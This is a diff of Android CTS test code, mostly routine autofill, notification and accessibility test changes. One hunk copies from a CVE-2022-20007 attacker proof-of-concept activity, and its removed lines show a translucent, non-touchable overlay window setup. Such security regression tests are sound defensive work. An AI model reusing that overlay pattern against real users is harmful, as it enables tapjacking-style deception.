diff --git a/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
new file mode 100644
index 0000000..0c79ae4
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.content.ComponentName;
+
+/**
+ * Stub accessibility service that reports itself as providing no feedback.
+ */
+public class NoFeedbackAccessibilityService extends InstrumentedAccessibilityService {
+ public static final ComponentName COMPONENT_NAME = new ComponentName(
+ "android.view.accessibility.cts",
+ "android.view.accessibility.cts.NoFeedbackAccessibilityService");
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 035b679..ef1d686 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -27,8 +27,6 @@
import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
@@ -59,12 +57,10 @@
import static org.junit.Assume.assumeTrue;
import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
-import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
import android.accessibilityservice.cts.activities.NonDefaultDisplayActivity;
import android.app.Activity;
-import android.app.ActivityTaskManager;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.graphics.Rect;
@@ -88,7 +84,6 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.TestUtils;
import org.hamcrest.Description;
import org.hamcrest.TypeSafeMatcher;
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index e832a7b..96dd5c2 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -51,6 +51,7 @@
],
instrumentation_for: "CtsAppTestStubs",
sdk_version: "test_current",
+ // 21 required for multi-dex.
min_sdk_version: "21",
dxflags: ["--multi-dex"],
// Disable coverage since it pushes us over the dex limit and we don't
@@ -58,6 +59,7 @@
jacoco: {
exclude_filter: ["**"],
},
+ // Even with coverage disabled, we're close to the single dex limit, so allow use of multi-dex.
data: [
":CtsSimpleApp",
":CtsAppTestStubs",
diff --git a/tests/app/app/assets/picture_800_by_600.png b/tests/app/app/assets/picture_800_by_600.png
new file mode 100644
index 0000000..dc8f3d4
--- /dev/null
+++ b/tests/app/app/assets/picture_800_by_600.png
Binary files differ
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 05a0f9e..eaecc4e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -65,12 +65,11 @@
import android.os.UserHandle;
import android.permission.cts.PermissionUtils;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState;
+import android.server.wm.WindowManagerStateHelper;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiSelector;
import android.util.Log;
-import android.view.accessibility.AccessibilityEvent;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -239,9 +238,9 @@
}
private void waitForAppFocus(String waitForApp, long waitTime) {
+ final WindowManagerStateHelper wms = new WindowManagerStateHelper();
long waitUntil = SystemClock.elapsedRealtime() + waitTime;
while (true) {
- WindowManagerState wms = new WindowManagerState();
wms.computeState();
String appName = wms.getFocusedApp();
if (appName != null) {
@@ -262,17 +261,13 @@
}
}
- private void startActivityAndWaitForShow(final Intent intent) throws Exception {
- mInstrumentation.getUiAutomation().executeAndWaitForEvent(
- () -> {
- try {
- mTargetContext.startActivity(intent);
- } catch (Exception e) {
- fail("Cannot start activity: " + intent);
- }
- }, (AccessibilityEvent event) -> event.getEventType()
- == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
- , WAIT_TIME);
+ private void startAndWaitForHeavyWeightSwitcherActivity(final Intent intent) {
+ mTargetContext.startActivity(intent);
+ // Assume there was another CANT_SAVE_STATE app, so it will redirect to the switch activity.
+ new WindowManagerStateHelper().waitAndAssertWindowSurfaceShown(
+ "android/com.android.internal.app.HeavyWeightSwitcherActivity", true);
+ // Wait for the transition animation to complete.
+ mInstrumentation.getUiAutomation().syncInputTransactions();
}
private void maybeClick(UiDevice device, UiSelector sel) {
@@ -1443,7 +1438,6 @@
homeIntent.addCategory(Intent.CATEGORY_HOME);
homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- ActivityManager am = mContext.getSystemService(ActivityManager.class);
UiDevice device = UiDevice.getInstance(mInstrumentation);
PermissionUtils.grantPermission(
@@ -1484,7 +1478,7 @@
uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
// Start the second heavy-weight app, should ask us what to do with the two apps
- startActivityAndWaitForShow(activity2Intent);
+ startAndWaitForHeavyWeightSwitcherActivity(activity2Intent);
// First, let's try returning to the original app.
maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
@@ -1501,7 +1495,7 @@
uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
// Again try starting second heavy-weight app to get prompt.
- startActivityAndWaitForShow(activity2Intent);
+ startAndWaitForHeavyWeightSwitcherActivity(activity2Intent);
// Now we'll switch to the new app.
maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
@@ -1527,7 +1521,7 @@
uid2Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
// Try starting the first heavy weight app, but return to the existing second.
- startActivityAndWaitForShow(activity1Intent);
+ startAndWaitForHeavyWeightSwitcherActivity(activity1Intent);
maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
waitForAppFocus(CANT_SAVE_STATE_2_PACKAGE_NAME, WAIT_TIME);
device.waitForIdle();
@@ -1540,7 +1534,7 @@
uid2Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
// Again start the first heavy weight app, this time actually switching to it
- startActivityAndWaitForShow(activity1Intent);
+ startAndWaitForHeavyWeightSwitcherActivity(activity1Intent);
maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
device.waitForIdle();
diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
index 6db8aa6..bef1319 100644
--- a/tests/app/src/android/app/cts/NotificationTemplateTest.kt
+++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
@@ -32,6 +32,7 @@
import android.widget.TextView
import androidx.annotation.ColorInt
import androidx.test.filters.SmallTest
+import com.android.compatibility.common.util.CddTest;
import com.google.common.truth.Truth.assertThat
import org.junit.Assume
import kotlin.test.assertFailsWith
@@ -283,8 +284,9 @@
}
}
+ @CddTest(requirement = "3.8.3.1/C-2-1")
fun testPromoteBigPicture_withBigPictureUriIcon() {
- val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+ val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png")
val pictureIcon = Icon.createWithContentUri(pictureUri)
val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
@@ -385,8 +387,9 @@
!!.sameAs(picture)).isTrue()
}
+ @CddTest(requirement = "3.8.3.1/C-2-1")
fun testBigPicture_withBigLargeIcon_withContentUri() {
- val iconUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+ val iconUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png")
val icon = Icon.createWithContentUri(iconUri)
val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index d79f909..540303b 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -22,6 +22,7 @@
import android.app.Notification;
import android.app.Notification.Action.Builder;
+import android.app.Notification.CallStyle;
import android.app.Notification.MessagingStyle;
import android.app.Notification.MessagingStyle.Message;
import android.app.NotificationChannel;
@@ -981,6 +982,20 @@
assertFalse(mNotification.hasImage());
}
+ public void testCallStyle_setsChronometerExtra() {
+ Person person = new Person.Builder().setName("Test name").build();
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0,
+ new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ CallStyle cs = CallStyle.forIncomingCall(person, pendingIntent, pendingIntent);
+ Notification.Builder builder = new Notification.Builder(mContext, CHANNEL.getId())
+ .setStyle(cs)
+ .setUsesChronometer(true);
+
+ Notification notification = builder.build();
+ Bundle extras = notification.extras;
+ assertTrue(extras.getBoolean(Notification.EXTRA_SHOW_CHRONOMETER));
+ }
+
private static void assertMessageEquals(
Notification.MessagingStyle.Message expected,
Notification.MessagingStyle.Message actual) {
diff --git a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
index f4692c7..452530e 100644
--- a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
+++ b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
@@ -92,7 +92,7 @@
}
@Test
- @Ignore("b/236749332")
+ @Ignore("b/236292909")
fun closeToSender_displaysChip() {
statusBarManager.updateMediaTapToTransferReceiverDisplay(
StatusBarManager.MEDIA_TRANSFER_RECEIVER_STATE_CLOSE_TO_SENDER,
@@ -108,7 +108,7 @@
}
@Test
- @Ignore("236749332")
+ @Ignore("b/236292909")
fun farFromSender_hidesChip() {
// First, make sure we display the chip
statusBarManager.updateMediaTapToTransferReceiverDisplay(
diff --git a/tests/attentionservice/Android.bp b/tests/attentionservice/Android.bp
index a515cf7..84c765a 100644
--- a/tests/attentionservice/Android.bp
+++ b/tests/attentionservice/Android.bp
@@ -16,6 +16,17 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
+java_library {
+ name: "CtsAttentionServiceDevice",
+ srcs: ["src/**/CtsTestAttentionService.java"],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.ext.junit",
+ "compatibility-device-util-axt",
+ "platform-test-annotations",
+ ],
+}
+
android_test {
name: "CtsAttentionServiceDeviceTestCases",
defaults: ["cts_defaults"],
@@ -34,5 +45,5 @@
srcs: ["src/**/*.java"],
// Tag this module as a cts test artifact
test_suites: ["cts"],
-// sdk_version: "system_current",
+ // sdk_version: "system_current",
}
diff --git a/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java b/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java
index 01adafd..a16cbcd 100644
--- a/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java
+++ b/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java
@@ -37,7 +37,7 @@
@Override
public void onCancelAttentionCheck(AttentionCallback callback) {
callback.onFailure(ATTENTION_FAILURE_CANCELLED);
- reset();
+ resetAttentionCheck();
sRespondLatch.countDown();
}
@@ -49,12 +49,20 @@
@Override
public void onStopProximityUpdates() {
- reset();
+ resetProximity();
sRespondLatch.countDown();
}
public static void reset() {
+ resetAttentionCheck();
+ resetProximity();
+ }
+
+ public static void resetAttentionCheck() {
sCurrentAttentionCallback = null;
+ }
+
+ public static void resetProximity() {
sCurrentProximityUpdateCallback = null;
}
@@ -62,14 +70,14 @@
if (sCurrentAttentionCallback != null) {
sCurrentAttentionCallback.onSuccess(code, 0);
}
- reset();
+ resetAttentionCheck();
}
public static void respondFailure(int code) {
if (sCurrentAttentionCallback != null) {
sCurrentAttentionCallback.onFailure(code);
}
- reset();
+ resetAttentionCheck();
}
public static void respondProximity(double distance) {
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 9ac38e9..29db5b5 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -150,6 +150,7 @@
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
+ <activity android:name=".activities.FadeInActivity"/>
<activity android:name=".activities.FieldsNoPasswordActivity"/>
<activity android:name=".activities.AugmentedAuthActivity" />
<activity android:name=".activities.SimpleAfterLoginActivity"/>
diff --git a/tests/autofillservice/res/layout/fade_in_activity.xml b/tests/autofillservice/res/layout/fade_in_activity.xml
new file mode 100644
index 0000000..3efc4d6
--- /dev/null
+++ b/tests/autofillservice/res/layout/fade_in_activity.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:id="@+id/password_label"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Password" />
+
+ <EditText
+ android:id="@+id/password"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:inputType="textPassword"
+ android:textCursorDrawable="@android:color/transparent"
+ android:imeOptions="flagNoFullscreen" />
+ </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FadeInActivity.java
similarity index 64%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
copy to tests/autofillservice/src/android/autofillservice/cts/activities/FadeInActivity.java
index ad87ea7..c4a1911 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FadeInActivity.java
@@ -13,21 +13,21 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+package android.autofillservice.cts.activities;
-package android.security.cts.CVE_2022_20007_attacker;
-
-import android.app.Activity;
+import android.autofillservice.cts.R;
import android.os.Bundle;
-import android.view.WindowManager;
-public class PocActivity extends Activity {
+/**
+ * Activity that do fade-in animation at beginning:
+ */
+public class FadeInActivity extends AbstractAutoFillActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
- setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
- | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+ setContentView(R.layout.fade_in_activity);
+
+ overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
index 9ab86ce..8ca37c4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
@@ -135,7 +135,7 @@
assertFillEventForDatasetShown(events.get(0), "clientStateKey",
"clientStateValue", presentationType);
assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
- "clientStateKey", "clientStateValue");
+ "clientStateKey", "clientStateValue", presentationType);
}
@Test
@@ -180,7 +180,7 @@
assertFillEventForDatasetShown(events.get(0), "clientStateKey",
"clientStateValue", presentationType);
assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
- "clientStateKey", "clientStateValue");
+ "clientStateKey", "clientStateValue", presentationType);
assertFillEventForDatasetShown(events.get(2), "clientStateKey",
"clientStateValue", presentationType);
assertFillEventForDatasetSelected(events.get(3), "name",
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/FadeInActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/FadeInActivityTest.java
new file mode 100644
index 0000000..df62027
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/FadeInActivityTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dialog;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.enableFillDialogFeature;
+import static android.service.autofill.FillRequest.FLAG_SUPPORTS_FILL_DIALOG;
+
+import android.autofillservice.cts.activities.FadeInActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.content.Intent;
+
+import org.junit.Test;
+
+
+/**
+ * This is the test cases about fade-in animation for the fill dialog UI.
+ */
+public class FadeInActivityTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+ @Test
+ public void testShowFillDialog_withFadeInAnimation() throws Exception {
+ // Enable feature and test service
+ enableFillDialogFeature(sContext);
+ enableService();
+
+ // Set response
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("Dropdown Presentation"))
+ .setDialogPresentation(createPresentation("Dialog Presentation"))
+ .build())
+ .setDialogHeader(createPresentation("Dialog Header"))
+ .setDialogTriggerIds(ID_PASSWORD);
+ sReplier.addResponse(builder.build());
+
+ // Start activity
+ startFadeInActivity();
+
+ // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
+
+ // Click on password field to trigger fill dialog
+ mUiBot.selectByRelativeId(ID_PASSWORD);
+ mUiBot.waitForIdleSync();
+
+ // Set expected value, then select dataset
+ mUiBot.assertFillDialogDatasets("Dialog Presentation");
+ }
+
+ private void startFadeInActivity() throws Exception {
+ final Intent intent = new Intent(mContext, FadeInActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+ mUiBot.assertShownByRelativeId(Helper.ID_PASSWORD_LABEL);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
index a6251f5..70d7a08 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
@@ -66,12 +66,12 @@
mUiBot.waitForIdleSync();
// Click on password field
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
// Waits a while
mUiBot.waitForIdleSync();
// Click on password field again
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
// Waits a while
mUiBot.waitForIdleSync();
@@ -104,7 +104,7 @@
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
mUiBot.assertFillDialogDatasets("Dialog Presentation");
@@ -114,7 +114,7 @@
mUiBot.waitForIdle();
// Click on password field again
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is shown
@@ -149,7 +149,7 @@
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -202,7 +202,7 @@
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
mUiBot.assertFillDialogDatasets("Dialog Presentation");
@@ -219,7 +219,7 @@
// Click on the username field to trigger autofill. Although the username field supports
// a fill dialog, the fill dialog only shown once, so shows the dropdown UI.
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
mUiBot.assertNoFillDialog();
@@ -270,7 +270,7 @@
mUiBot.waitForIdleSync();
// Click on password field
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -314,7 +314,7 @@
sReplier.getNextFillRequest();
mUiBot.waitForIdleSync();
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
mUiBot.assertFillDialogDatasets("Dialog presentation");
@@ -325,7 +325,7 @@
mUiBot.waitForIdle();
// Click on username field, and verify dropdown UI is shown
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
mUiBot.assertDatasets("Dropdown Presentation");
@@ -365,7 +365,7 @@
mUiBot.waitForIdleSync();
// Click on username field, and verify dropdown UI is shown.
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
mUiBot.assertDatasets("Dropdown Presentation");
@@ -417,7 +417,7 @@
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog, then select
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
activity.expectAutoFill("dude", "sweet");
mUiBot.selectFillDialogDataset("Dialog Presentation");
@@ -462,7 +462,7 @@
sReplier.addResponse(builder.build());
// Click on username field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
// Check onFillRequest is called now, and the fill dialog is not shown
@@ -538,7 +538,7 @@
assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -576,7 +576,7 @@
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -622,7 +622,7 @@
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify the fill dialog shown
@@ -669,7 +669,7 @@
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify the fill dialog shown
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
index 5eb72f4..8c8e732 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
@@ -83,7 +83,7 @@
* Launches and finishes {@link SimpleSaveActivity}, returning how long it took.
*/
private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
- Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+ Log.v(TAG, "launchSimpleSaveActivity(): " + action);
sReplier.assertNoUnhandledFillRequests();
if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
@@ -175,7 +175,7 @@
// Asserts isEnabled() status.
assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
} finally {
- activity.finish();
+ mUiBot.waitForWindowChange(() -> activity.finish());
}
return SystemClock.elapsedRealtime() - before;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 3a40ca9..c462baf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -1254,12 +1254,12 @@
* @param event event to be asserted
* @param key the only key expected in the client state bundle
* @param value the only value expected in the client state bundle
- * @param expectedPresentation the exptected ui presentation type
+ * @param uiType the expected ui presentation type
*/
public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
- @NonNull String key, @NonNull String value, int expectedPresentation) {
+ @NonNull String key, @NonNull String value, int uiType) {
assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
- assertFillEventPresentationType(event, expectedPresentation);
+ assertFillEventPresentationType(event, uiType);
}
/**
@@ -1269,9 +1269,9 @@
* @param event event to be asserted
*/
public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
- int expectedPresentation) {
+ int uiType) {
assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
- assertFillEventPresentationType(event, expectedPresentation);
+ assertFillEventPresentationType(event, uiType);
}
/**
@@ -1283,11 +1283,13 @@
* @param datasetId dataset set id expected in the event
* @param key the only key expected in the client state bundle
* @param value the only value expected in the client state bundle
+ * @param uiType the expected ui presentation type
*/
public static void assertFillEventForDatasetAuthenticationSelected(
@NonNull FillEventHistory.Event event,
- @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+ @Nullable String datasetId, @NonNull String key, @NonNull String value, int uiType) {
assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+ assertFillEventPresentationType(event, uiType);
}
/**
@@ -1298,11 +1300,13 @@
* @param datasetId dataset set id expected in the event
* @param key the only key expected in the client state bundle
* @param value the only value expected in the client state bundle
+ * @param uiType the expected ui presentation type
*/
public static void assertFillEventForAuthenticationSelected(
